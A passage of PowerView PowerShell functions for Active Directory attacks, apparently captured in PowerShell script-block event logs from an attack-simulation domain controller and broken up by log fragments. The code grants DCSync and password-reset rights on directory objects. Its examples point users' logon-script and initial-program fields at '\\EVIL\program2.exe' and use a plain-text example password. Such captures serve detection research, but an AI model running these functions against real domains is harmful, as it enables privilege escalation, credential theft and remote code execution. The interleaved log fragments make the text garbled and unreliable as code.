Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
.PARAMETER TargetLDAPFilter
Specifies an LDAP query string that is used to filter Active Directory object targets.
.PARAMETER TargetSearchBase
The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Rights
Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
Defaults to 'All'.
.PARAMETER RightsGUID
Manual GUID representing the right to add to the target.
.EXAMPLE
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
...
Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a)))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
AceQualifier : AccessAllowed
ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
.EXAMPLE
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
[no results returned]
$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y))))
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
AceQualifier : AccessAllowed
ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
.LINK
https://adsecurity.org/?p=1906
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$TargetIdentity,
[ValidateNotNullOrEmpty()]
[String]
$TargetDomain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$TargetLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$TargetSearchBase,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$PrincipalIdentity,
[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]
[String]
$Rights = 'All',
[Guid]
$RightsGUID
)
BEGIN {
$TargetSearcherArguments = @{
'Properties' = 'distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain }
if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }
if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }
if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }
$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
$Principals = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principals) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
}
PROCESS {
$TargetSearcherArguments['Identity'] = $TargetIdentity
$Targets = Get-DomainObject @TargetSearcherArguments
ForEach ($TargetObject in $Targets) {
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
$ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'
$ACEs = @()
if ($RightsGUID) {
$GUIDs = @($RightsGUID)
}
else {
$GUIDs = Switch ($Rights) {
# ResetPassword doesn't need to know the user's current password
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
# allows for the modification of group membership
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
# 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
# when applied to a domain's ACL, allows for the use of DCSync
'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
}
}
ForEach ($PrincipalObject in $Principals) {
Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)"
try {
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)
if ($GUIDs) {
ForEach ($GUID in $GUIDs) {
$NewGUID = New-Object Guid $GUID
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType
}
}
else {
# deault to GenericAll rights
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType
}
# add all the new ACEs to the specified object directory entry
ForEach ($ACE in $ACEs) {
Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"
$TargetEntry = $TargetObject.GetDirectoryEntry()
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
$TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetEntry.PsBase.CommitChanges()
}
}
catch {
Write-Verbose "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : $_"
69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124429Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1854 $TempObject.pszObjectDn
$Output | Add-Member NoteProperty 'TimeCreated' $TempObject.ftimeCreated
$Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted
$Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
$Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
$Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectLinkedAttributeHistory')
$Output
}
}
else {
Write-Verbose "[Get-DomainObjectLinkedAttributeHistory] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'"
}
}
}
}
}
function Set-DomainObject {
<#
.SYNOPSIS
Modifies a gven property for a specified active directory object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
Splats user/object targeting parameters to Get-DomainObject, returning the raw
searchresult object. Retrieves the raw directoryentry for the object, and sets
any values from -Set @{}, XORs any values from -XOR @{}, and clears any values
from -Clear @().
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Set
Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values.
.PARAMETER XOR
Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values.
.PARAMETER Clear
Specifies an array of object properties that will be cleared in the directory.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string:
(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y
VERBOSE: Setting countrycode to 1234 for object harmj0y
VERBOSE: Get-DomainSearcher search string:
LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser
VERBOSE: Setting countrycode to 1234 for object testuser
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose
Cleares the 'department' field for both object identities.
.EXAMPLE
Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
Name Value
---- -----
NORMAL_ACCOUNT 512
Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser'
Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
Name Value
---- -----
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser -Identity testuser -Properties scriptpath
scriptpath
----------
\\primary\sysvol\blah.ps1
$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser'
Get-DomainUser -Identity testuser -Properties scriptpath
scriptpath
----------
\\EVIL\program2.exe
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[Alias('Replace')]
[Hashtable]
$Set,
[ValidateNotNullOrEmpty()]
[Hashtable]
$XOR,
[ValidateNotNullOrEmpty()]
[String[]]
$Clear,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{'Raw' = $True}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
# splat the appropriate arguments to Get-DomainObject
$RawObject = Get-DomainObject @SearcherArguments
ForEach ($Object in $RawObject) {
$Entry = $RawObject.GetDirectoryEntry()
if($PSBoundParameters['Set']) {
try {
$PSBoundParameters['Set'].GetEnumerator() | ForEach-Object {
Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'"
$Entry.put($_.Name, $_.Value)
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
if($PSBoundParameters['XOR']) {
try {
$PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object {
$PropertyName = $_.Name
$PropertyXorValue = $_.Value
Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'"
$TypeName = $Entry.$PropertyName[0].GetType().name
# UAC value references- https://support.microsoft.com/en-us/kb/305144
$PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue
$Entry.$PropertyName = $PropertyValue -as $TypeName
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
if($PSBoundParameters['Clear']) {
try {
$PSBoundParameters['Clear'] | ForEach-Object {
$PropertyName = $_
Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'"
$Entry.$PropertyName.clear()
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
}
}
}
function ConvertFrom-LDAPLogonHours {
<#
.SYNOPSIS
Converts the LDAP LogonHours array to a processible object.
Author: Lee Christensen (@tifkin_)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Converts the LDAP LogonHours array to a processible object. Each entry
property in the output object corresponds to a day of the week and hour during
the day (in UTC) indicating whether or not the user can logon at the specified
hour.
.PARAMETER LogonHoursArray
21-byte LDAP hours array.
.EXAMPLE
$hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours
ConvertFrom-LDAPLogonHours $hours
Gets the logonhours array from the first AD user with logon restrictions.
.OUTPUTS
PowerView.LogonHours
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LogonHours')]
[CmdletBinding()]
Param (
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[byte[]]
$LogonHoursArray
)
Begin {
if($LogonHoursArray.Count -ne 21) {
throw "LogonHoursArray is the incorrect length"
}
function ConvertTo-LogonHoursArray {
Param (
[int[]]
$HoursArr
)
$LogonHours = New-Object bool[] 24
for($i=0; $i -lt 3; $i++) {
$Byte = $HoursArr[$i]
$Offset = $i * 8
$Str = [Convert]::ToString($Byte,2).PadLeft(8,'0')
$LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7])
$LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6])
$LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5])
$LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4])
$LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3])
$LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2])
$LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1])
$LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0])
}
$LogonHours
}
}
Process {
$Output = @{
Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2]
Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5]
Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8]
Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11]
Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14]
Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17]
Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20]
}
$Output = New-Object PSObject -Property $Output
$Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours')
$Output
}
}
function New-ADObjectAccessControlEntry {
<#
.SYNOPSIS
Creates a new Active Directory object-specific access control entry.
Author: Lee Christensen (@tifkin_)
License: BSD 3-Clause
69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124427Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local165471859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER UACFilter
Dynamic parameter that accepts one or more values from $UACEnum, including
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainObject -Domain testlab.local
Return all objects for the testlab.local domain
.EXAMPLE
'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname
distinguishedname
-----------------
CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local
CN=dfm,CN=Users,DC=testlab,DC=local
OU=OU3,DC=testlab,DC=local
CN=dfm (admin),CN=Users,DC=testlab,DC=local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainObject -Credential $Cred -Identity 'windows1'
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
distinguishedname
-----------------
CN=harmj0y,CN=Users,DC=testlab,DC=local
VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins)))
CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
.OUTPUTS
PowerView.ADObject
Custom PSObject with translated AD object property fields.
PowerView.ADObject.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.ADObject')]
[OutputType('PowerView.ADObject.Raw')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)
# add in the negations
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
# create new dynamic parameter
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
}
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
